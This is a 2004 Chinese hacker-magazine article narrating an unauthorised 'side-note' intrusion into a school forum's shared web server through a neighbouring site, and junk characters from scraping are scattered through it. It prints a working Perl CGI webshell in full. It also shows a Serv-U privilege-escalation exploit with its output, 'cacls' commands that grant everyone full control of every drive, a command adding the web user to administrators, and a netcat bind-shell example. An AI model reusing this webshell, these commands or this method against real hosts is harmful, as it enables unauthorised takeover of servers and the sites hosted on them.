剑走偏锋——灵巧的旁注攻击
6 j0 O. V* E! ^本文作者:angel( V% e1 c U8 @. ^# E" c0 j ^
文章性质:原创, X. S" t* G# m' u2 w) Z
发布日期:2004-11-09 9 A' w% x9 p& }% m; [5 `' y& M
注意:
3 q- G, H" w) a" Y$ b. j9 d# i' K本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ J6 c& V/ ^. ]0 ~本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
8 I( _/ L8 X- @; v; O+ r" U- g, j0 n9 f/ N6 Y9 u+ Y
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 " r; |. J- \" C" V1 J
# | q% o# ]* w( o+ X- |
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 / \. B6 x% }. S% p* ~& j
6 t8 _) `) H8 R# ~/ [ 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
; J0 {( f8 U3 p# _, e# T! M" u/ o- @6 H$ ~+ N5 m6 F
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
6 a) K" g& D' h
; [7 ~9 B( J* ]9 I% H# x/ K 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
/ \" h: L0 T0 s1 ^$ i' \8 K) z g8 \8 L, L& Z8 c
没有目的的跳转目录着…… 7 h [8 V2 O- }! I
* U; {$ d, ` G5 V4 s
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… - E& h. E7 h& s% Z6 k+ W
, c. X- O; Q3 v, r 结束了吗?不,我试着 FTP 一下: Z8 f+ X6 P/ S0 U! _3 {. |$ Y5 W
& d8 m& m$ {( t) b% o; r3 o: p
Microsoft Windows 2000 [Version 5.00.2195]
9 I" U" v) v8 l$ P1 H(C) 版权所有 1985-2000 Microsoft Corp. . W. w) }: p7 I; D" l
6 E+ O7 K1 l, _8 ~5 bC:\Documents and Settings\Administrator>ftp www.school.com3 Z- s- y5 p- |# S; \' g( D
Connected to www. school.com.
- U2 ~6 E$ {, q. u e220 Welcome to FTP Server...
* c7 B1 y# g0 l0 F) v/ FUser (www.bjtrq.com:(none)):
' N: m$ X: i |* {331 User name okay, need password.
5 S2 B, r' [& z0 ~; LPassword: 7 e K2 Z1 ^* e! `$ u$ l9 Y
530 Not logged in. ) h7 ]( a8 n. w
Login failed. ( \4 W( } E+ g4 ^
ftp> bye 6 B# T' d. q: ~# R- b( D
221 Goodbye!
0 F$ d, O4 d8 F9 r
) C- F6 F: a' G. G( f% ~( N j2 X
. ~4 f \3 p `9 T1 O5 M% P- D, p 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… - N% F+ s! W0 D8 M4 I, p
6 Y8 M# e: x/ j6 V) H9 i7 N4 Z$ a 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 * _: J7 B6 u9 C7 T" g
' n8 a. u, l7 O( D: P% ~9 c
Application Data1 y7 f, g: t! X8 z' g/ d
Documents4 _, x+ o% Y/ P& S8 F
DRM
' t$ M( A9 V& D. I: o# cFavorites
$ \1 @6 _8 [8 _0 {" a6 A4 dTemplates
2 i: i' l: ]0 o; i9 f% H; J「开始」菜单" D7 d+ q9 [ u ]+ _. g% r
桌面. S3 o H6 w- J: X! B
9 q' s. i2 E) ?" t7 N% ~8 |/ c0 p1 v* e1 Q# n
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
I* \( q9 c) L1 [5 o/ k5 S5 G* w% i; [2 o u( _* x2 | ~
ActiveState ActivePerl 5.8' c7 Q. g$ b0 E% _$ u7 l
Administrative Tools
6 L; \- \2 c n9 e" ?' R: |, QDeerfield.com
4 l: n6 ^( G& O& R# I4 hDTemp
8 N9 ?9 l* }" M# R+ a7 BIPSentry
1 ~ H) I1 f) t; v' ]MBM 5
& S+ n3 A8 m9 L$ ONetMeter
2 c/ I4 n& s) aNetwork ICE
* D; k9 E- |0 [- i# f! P( [Persits Software AspEmail, W6 B' t+ p2 C' `* r( u* S( y
Persits Software AspJpeg D4 Z( Y! S' \2 G. o1 u
Serv-U FTP Server
! u4 _/ a3 A- Q4 R' xSymantec Client Security
, ^" E. e9 J3 [$ w) YWindows 优化大师, c/ o) k6 M/ d7 k6 G6 R
WinRAR8 k7 d7 s8 l/ S) K) l: Q0 V" L) f
启动
- O& D6 i- @( y m0 `3 p管理工具
7 V% H. V4 {9 P3 z/ g附件* g1 u+ U9 \1 t. q- K8 T; J$ V
! b+ N; x' Z" F( B# R. y/ l L# a7 i/ x9 {; t
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 % l% Y8 i2 M5 H2 m9 S0 m3 ~' i8 D
" H+ |* I( ]' j
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
: l* @) z' z5 {. z; u
9 r. o+ E- m% m( @% P3 cUser281=angel|1|0 % `$ |/ E2 v; C7 v/ g
$ E. M; C( j9 P( x- k( X
5 [& \, _9 k6 e; B9 p" c L 然后加上
$ l& d7 @+ W, v; m. `8 V* e
0 d. d( G: ?$ m1 ~* v# q8 c$ R[USER=angel|1], J2 U( ~; p3 t' A4 \: K, Q9 ~: w
Password=ng98F85379EA68DBF97BAADCA99B69B805
" @$ i/ m8 R3 a% ^* }. C# P, J9 P+ LHomeDir=D:\websites. o m" J2 {! `$ `9 R7 n
RelPaths=1/ c( ]9 k+ O! e" Y
TimeOut=6000 h% n/ l2 j. U) w7 v# s( z
Maintenance=System
& r. T2 {" z& v" s3 \! mAccess1=D:\websites|RWAMELCDP
5 g7 k% c. T/ T# d* |SKEYValues=
) _0 U# i: f/ a; G! y
+ O6 _" ?5 S! p: m
3 Z5 x/ Q U, \8 v 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
. R o; \0 c" m. L( S
; V2 n3 S/ t: O/ `# z& x2 s$ ] 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
# s1 n; Y& s8 s# F
! K% e+ G* m* w+ Q3 s5 G$ I- Z 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
* o) E0 i8 x. H5 Q- C; `: T$ l1 J; A% J$ c" c: K
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 2 ~% r8 u [9 I, T/ u7 Q& ?: l
! K, C K6 z p/ ]! |. _
#!/usr/bin/perl0 T0 r8 D' T7 x1 i7 l/ y5 C
binmode(STDOUT);+ ]9 Z- X9 E7 M
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
8 i1 c- C( w7 f$_ = $ENV{QUERY_STRING};
8 n: [$ J# U* }% ]3 l8 ], Us/%20/ /ig;
6 _/ c6 h- t# ps/%2f/\//ig;
( @% T- l. R2 S# |1 P$execthis = $_;
. t3 m' x J u" r' e+ [syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
% Y$ w. q9 q3 W4 f8 Fopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
; Z: c4 l9 S: d% |5 |9 ~' Xsystem($execthis);
- J4 I9 ?# A) Y% O1 _) @, t3 _4 F1 @syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);, o- b( ~" f9 D* w- ^0 \
close(STDERR);
7 G; R2 J# w- \) P6 _close(STDOUT);
5 {# n& f* `& l, V. m# C4 b8 \exit;
; K& f. @! ~! E9 \) }2 w* s
; t }- K9 f: @6 b' p, r
6 O r; J0 g6 p- K9 R' y9 C 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 4 ~! l- p6 c6 r' u* V
2 N( \5 i7 l) t8 p
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: # t8 }- u" S" c3 N t
9 B" l; [* f4 [8 |8 ]# C" W/ m% xhttp://anyhost//cmd.pl?d:\user\bin\su.exe
0 m, f0 G( N m 5 ~" X# A8 i) N+ }/ { [" {1 o
% V. m2 D/ y" Z5 G8 \2 s! B
返回:
& M! C8 H" S( P; p! l8 z% z, }* _$ h: k$ R+ G9 G
Serv-u >3.x Local Exploit by xiaolu
1 Y% C% |8 n2 q, @+ B3 d( f
6 J: v7 j3 p) C: QUSAGE: serv-u.exe "command" ' L" u& ~5 h9 e, \
) ? X N3 J+ Z. s( }3 mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 0 k# g( M+ e( o( m- {9 f( J+ v
3 |3 y m) a4 ]% F# t
3 ~/ z/ T# A, i 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: - z Q4 u" A5 b) ~% r
' c1 q% s4 e( M0 V# ^+ s1 \- n# hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' J* v( K: X/ ?3 B
! }' A7 q+ Y% w2 }' n# V. ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ) j0 u. I& S8 x/ ~6 P/ B8 q, b; J- I
& f ?3 Z8 X" |+ i
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" , r- s5 i% @+ T0 p, n
7 v$ d0 p! p [! vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
, Q9 F1 @7 r# R7 [7 m7 M
0 x5 F4 ]4 u B8 Z3 ?+ O. Q* o+ d3 \. h0 ]$ [
返回下面的信息,就表示成功了!!! & ?( s5 i( M$ ^# g8 F$ P
, E8 W* a* g3 @# P0 g' l; cServ-u >3.x Local Exploit by xiaolu
2 K# V* I4 O0 x/ Q% N* y
5 {+ E* b% U2 i( x<220 Serv-U FTP Server v5.2 for WinSock ready...
2 X1 }$ N7 e; q4 v T7 F9 t$ o( O; g, k4 V0 E/ j9 i6 b4 r5 ?
>USER LocalAdministrator
5 T! c0 \9 q% J: J# A2 s# C' v p# b
<331 User name okay, need password.
1 H0 P2 h6 k, Y6 V4 ^2 x5 T7 S( c* ~
****************************************************** & ?( W3 `% i. a6 f6 x' z, n% X9 h
! S B! j3 h4 Q- R>PASS #l@$ak#.lk;0@P
4 {# w. }9 g9 _* H9 z( t4 e G% q! L' W# O+ G2 x6 \
<230 User logged in, proceed.
, f, a) z2 W- {( e& }; H8 o) W, l% m& v6 U4 e( K1 B; h" L+ g
****************************************************** , d. ^0 [! ~% [; Y4 y9 R
8 h7 X3 \( Y/ Y. T
>SITE MAINTENANCE
' o# f9 Z- p0 I; I9 P! ~' d) U. q1 p
******************************************************
$ o+ T9 M, U# h6 z) g* p+ V
+ G& d: B& L, `3 V7 x2 l! @9 I6 X1 b[+] Creating New Domain... / M" D! \; c% ], _# j
' _0 Y4 n8 o9 }( w- l% `# d
<200-DomainID=2
. A* }! u9 D3 k6 \. ~3 ]: }: x7 o
4 {6 P+ v2 n& ~7 p& K/ b# q<220 Domain settings saved # p4 g( u2 [! \( ~4 t V3 T" {) ^2 f
1 `" y! F4 C0 ?( E: J
****************************************************** , f3 x' z% ~7 y1 e( z0 n
4 { @8 d6 _) K. r/ C$ q) w
[+] Domain xl:2 Created & a [ `# r. o5 `
! z: ~7 ?) Y& i8 {9 p* r" O0 U[+] Creating Evil User
- e& u9 ]' U: \9 Y, p: L6 J1 s4 j4 `; J. v/ ^
<200-User=xl 2 Y) T6 r& b$ P4 v4 @" K0 ?
) @& b, j. A* Q$ S4 E% b1 j200 User settings saved 7 u/ A' _5 z5 ~" V+ Z
: s* U8 O: d3 I******************************************************
8 H/ z9 g* b( E
$ G7 j5 E$ u* g- M0 j# {; S[+] Now Exploiting...
3 ~7 d; F `+ _6 K' U
# B# a* I- Z( |( c9 V>USER xl : B% p% d* t( v% ?" [
7 L1 ~! q" V5 F" i<331 User name okay, need password.
3 e: J- H2 @$ c3 t7 V9 X* w
: [4 j$ n* J% W/ v****************************************************** 8 G7 B% u) F6 @1 X, a8 x+ c* v
6 J0 A: x, m2 @: W i" q
>PASS 111111 2 `- r: q' F- d2 y
9 m0 R- _5 x: P- q- {3 A! l<230 User logged in, proceed. 5 y+ y# K$ E' W9 t9 J& S) x
4 [8 A" {, x" L6 V3 H0 Y****************************************************** ! ?8 E2 T( Q/ r5 L
* T; H% C2 g$ C2 A$ i
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 d2 v/ u4 h3 G: }# g8 V& A! ?+ r" J
<220 Domain deleted
" q d& \9 ]2 H* ~/ @1 z' j2 g0 g2 z- Y$ Y3 k: C! t e( S' u
****************************************************** - N( M {' W1 H5 W
5 Z8 X% T, W+ w n- F) o' O3 {# Y$ X- ?/ T1 r9 f/ p
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
7 K! F6 ]8 G: R' O. Z$ s1 S: b" H; Y5 U9 p
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
" L1 A2 m7 G2 O
- k, j1 v. N9 u' F" S, m$ i5 k; q9 H d* j3 r
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
' o/ Y2 ?, }" @5 x( A
# i, ^& l3 w$ f0 t9 \$ D' R& L 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
$ B. C0 y/ p Q; c% X * S q. v# y e$ @9 P+ L! v8 y
/ O9 @2 m6 H) O# S5 P
|